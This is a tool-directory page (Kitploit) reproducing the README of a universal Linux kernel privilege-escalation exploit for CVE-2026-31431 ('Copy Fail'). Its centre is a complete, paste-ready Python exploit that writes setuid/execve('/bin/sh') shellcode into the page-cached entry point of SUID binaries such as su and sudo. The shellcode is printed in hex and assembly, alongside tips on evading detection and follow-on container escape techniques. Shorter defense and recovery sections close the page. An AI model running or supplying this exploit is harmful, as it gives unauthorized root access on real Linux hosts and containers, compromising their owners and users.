Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback | Kitploit
Tools/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Privilege EscalationContainer SecurityExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback

View Repository
581374 months agoReviewed by Kitploit

CVE-2026-31431 "Copy Fail" — Universal LPE Exploit

Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation

Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.

What is this?

CVE-2026-31431 is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing splice() + authencesn in-place decryption, an unprivileged user can write 4 bytes at an arbitrary offset in the kernel's page cache — the same cache used for all file-backed memory.

This means:

  • No race conditions — single-threaded, deterministic
  • No special privileges — works inside default Docker containers (seccomp allows AF_ALG)
  • No kernel version dependency — affects all kernels from 2017 to present
  • Modifies files in memory only — disk is untouched, reboot erases all traces

Exploit Approaches

This repository provides three tools using the same AF_ALG copy-fall primitive:

Dynamic entry point — Parses the ELF header at runtime to calculate the entry point file offset (p_offset + (e_entry - p_vaddr)), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.

Full binary replace — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.

Vulnerability checker — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.

Quick Start

Prerequisites

  • Linux kernel (any version since ~2017)
  • Python 3.x (for exploit.py; Python 2 supported via poc_compatible.py)
  • Any SUID-root binary (/usr/bin/su, /usr/bin/sudo, etc.)

One-liner Reproduction

root@kitploit:~
# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Then inside the container as testuser:

root@kitploit:~
# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)

# Run the exploit
python3 exploit.py /usr/local/bin/verify

# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)

One-liner (no file transfer needed)

In real scenarios you often only have a raw shell — no scp, no curl, no wget. This method uses cat heredoc to write the exploit directly in terminal:

root@kitploit:~
# Option 1: run the shell script
sh exploit-one-liner.sh /usr/local/bin/verify

# Option 2: paste directly into terminal (copy the entire block)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Why this matters: Container environments often lack file transfer tools (scp, curl, wget). The heredoc method requires only cat and python3 — available everywhere.

Targeting Other SUID Binaries

You can replace /usr/local/bin/verify with any SUID-root binary:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Warning: Targeting system SUID binaries (like /usr/bin/su) affects all users on the system. The binary becomes unusable until page cache is cleared. On the host machine, any user running su would get a root shell.

On a shared/production system, this is immediately noticeable — su will crash or spawn unexpected shells for everyone. Use verify.c for safe testing.

Recovery

The exploit only modifies page cache (memory), not disk. Recovery options:

root@kitploit:~
# On the host (after container testing):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verify recovery:
xxd -l 8 /usr/bin/su
# Should show: 7f45 4c46 (.ELF)

Note: Inside a default (non-privileged) container, echo 3 > /proc/sys/vm/drop_caches fails with Read-only file system — this requires host access or container destruction.

Attack Surface

How It Works

The Vulnerability

The kernel's authencesn AEAD algorithm has a bug in its in-place decryption path:

  1. User creates an AF_ALG socket with authencesn(hmac(sha256), cbc(aes))
  2. User calls splice() to feed file data into the crypto socket — this maps page cache pages directly into the kernel's scatterlist
  3. During decryption, authencesn writes 4 bytes of seqno_lo after the authentication tag
  4. By controlling the associated data length and IV layout, the attacker controls where those 4 bytes land

Result: 4-byte arbitrary write to any page-cached file.

The Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  ELF Binary (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← parse dynamically         │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← calculated file offset    │
│          │ orig code │                               │
│          │           │  ─── copy fall writes ───→   │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode → setuid(0) succeeds → root shell.

Shellcode

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; filename
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 bytes, 9 copy-fall writes (4 bytes each).

Why This Matters

Container Security

Default Docker containers are not protected from this:

ProtectionStatus
Seccomp✅ AF_ALG allowed by default
User namespaces❌ Not used in default Docker
AppArmor/SELinux❌ Does not restrict AF_ALG
Capability dropping❌ No special caps needed

The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).

Detection Difficulty

  • Disk is never modified — page cache writes are memory-only
  • No new files created — exploit is a single Python script
  • No kernel module loaded — pure syscall abuse
  • Reboot erases all evidence — page cache is volatile

Affected Systems

Every Linux kernel since the algif_aead in-place conversion (merged ~2017), including:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Docker containers (default seccomp profile)
  • Kubernetes pods (default configurations)
  • WSL2 (confirmed)

File Structure

root@kitploit:~
.
├── exploit.py              # Dynamic ELF entry point overwrite (Python 3.x)
├── exploit-one-liner.sh    # Paste-friendly version (no file transfer needed)
├── poc_compatible.py       # Full ELF binary overwrite from offset 0 (Python 2/3, by h4ppy7ree)
├── poc_ctypes.py           # ctypes splice for Python 3.0-3.9 (by h4ppy7ree)
├── check_cve.sh            # Vulnerability checker (by h4ppy7ree)
├── verify/
│   └── verify.c            # SUID verification program for testing
└── README.md               # This file

Defense

  • Apply kernel patch — upstream fix available
  • Seccomp: Block AF_ALG domain (socket(AF_ALG, ...) → errno)
  • AppArmor: Deny af_alg socket creation
  • Kernel hardening: CONFIG_CRYPTO_USER_API_AEAD=n
  • Monitoring: Audit socket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscalls

Credits

  • Vulnerability discovery: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • Dynamic offset calculation & universal exploit: This work
  • Full binary replace approach & vulnerability checker: h4ppy7ree (PR #1)

Disclaimer

This exploit is provided for authorized security research and educational purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.

License

MIT

Download Tool
Dynamic Entry PointFull Binary ReplaceVuln Checker
Fileexploit.pypoc_compatible.pycheck_cve.sh
StrategyOverwrites ELF entry point with shellcodeReplaces entire binary from offset 0Tests if target is vulnerable
TargetAny x86_64 SUID binaryAny binary (SUID or not)N/A
Python3.x (all versions)2 / 3Bash
Payload36 bytes shellcodezlib-compressed full ELFN/A
AuthorThis workh4ppy7reeh4ppy7ree
MethodWhereCommand
Drop page cacheHost (root)echo 3 > /proc/sys/vm/drop_caches
RebootAnywherereboot — page cache is volatile
Container destroyedAnywheredocker rm — page cache released with container
VectorWorks?Details
LPE (local user → root)✅ YesOverwrite SUID binary entry point
Container escape (default)❌ Nooverlayfs per-mount page cache isolation
Container escape (host write)✅ YesWrite via /proc/PID/root/ from host
Cross-container (host write)✅ YesSame inode → shared lower-layer page cache